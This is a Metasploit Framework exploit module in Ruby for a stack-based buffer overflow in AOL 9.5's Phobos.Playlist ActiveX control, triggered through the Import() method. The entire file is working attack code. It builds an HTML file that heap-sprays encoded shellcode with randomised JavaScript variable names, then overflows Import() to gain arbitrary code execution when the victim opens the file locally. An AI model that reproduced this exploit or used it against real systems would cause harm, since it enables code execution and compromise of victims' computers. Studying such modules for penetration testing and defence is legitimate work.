Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

# aol_phobos_bof.rb

#

# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework

#

# Tested successfully on the following platforms:

#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3

#

# Phobos.dll version tested:

# File Version: 9.5.0.1

# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C

# RegKey Safe for Script: False

# RegKey Safe for Init: False

# Implements IObjectSafety: False

# KillBitSet: False

#

# Due to the safe for initialization and safe for scripting settings of this ActiveX control,

# exploitation is possible only from Local Machine Zone, which means the victim must run the

# generated exploit file locally.

#

# Trancer

# http://www.rec-sec.com

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',

                        'Description'    => %q{

                                This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.

                                By setting an overly long value to 'Import()', an attacker can overrun a buffer

                                and execute arbitrary code.

                                NOTE: This ActiveX control is NOT marked safe for scripting or initialization.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         =>

                                [

                                        'Trancer <mtrancer[at]gmail.com>'

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '61964'],

                                        [ 'URL', 'http://www.exploit-db.com/exploits/11204' ],

                                        [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                        'DisablePayloadHandler' => 'true',

                                },

                        'Payload'        =>

                                {

                                        'Space'         => 1024,

                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]

                                ],

                        'DisclosureDate' => 'Jan 20 2010',

                        'DefaultTarget'  => 0))

                        register_options(

                                [

                                        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),

                                ], self.class)

        end

        def exploit

                # Encode the shellcode

                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Setup exploit buffers

                nops           = Rex::Text.to_unescape([target.ret].pack('V'))

                ret            = Rex::Text.uri_encode([target.ret].pack('L'))

                blocksize = 0x40000

                fillto    = 500

                offset           = target['Offset']

                # Randomize the javascript variable names

                phobos       = rand_text_alpha(rand(100) + 1)

                j_shellcode  = rand_text_alpha(rand(100) + 1)

                j_nops       = rand_text_alpha(rand(100) + 1)

                j_ret        = rand_text_alpha(rand(100) + 1)

                j_headersize = rand_text_alpha(rand(100) + 1)

                j_slackspace = rand_text_alpha(rand(100) + 1)

                j_fillblock  = rand_text_alpha(rand(100) + 1)

                j_block      = rand_text_alpha(rand(100) + 1)

                j_memory     = rand_text_alpha(rand(100) + 1)

                j_counter    = rand_text_alpha(rand(30) + 2)

                j_bla        = rand_text_alpha(rand(8) + 4)

                html = %Q|<html>

<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>

<script>

#{j_shellcode}=unescape('#{shellcode}');

#{j_nops}=unescape('#{nops}');

#{j_headersize}=20;

#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

#{j_memory}=new Array();

for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';

for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');

</script>

</html>|

                print_status("Creating '#{datastore['FILENAME']}' file ...")

                file_create(html)

        end

end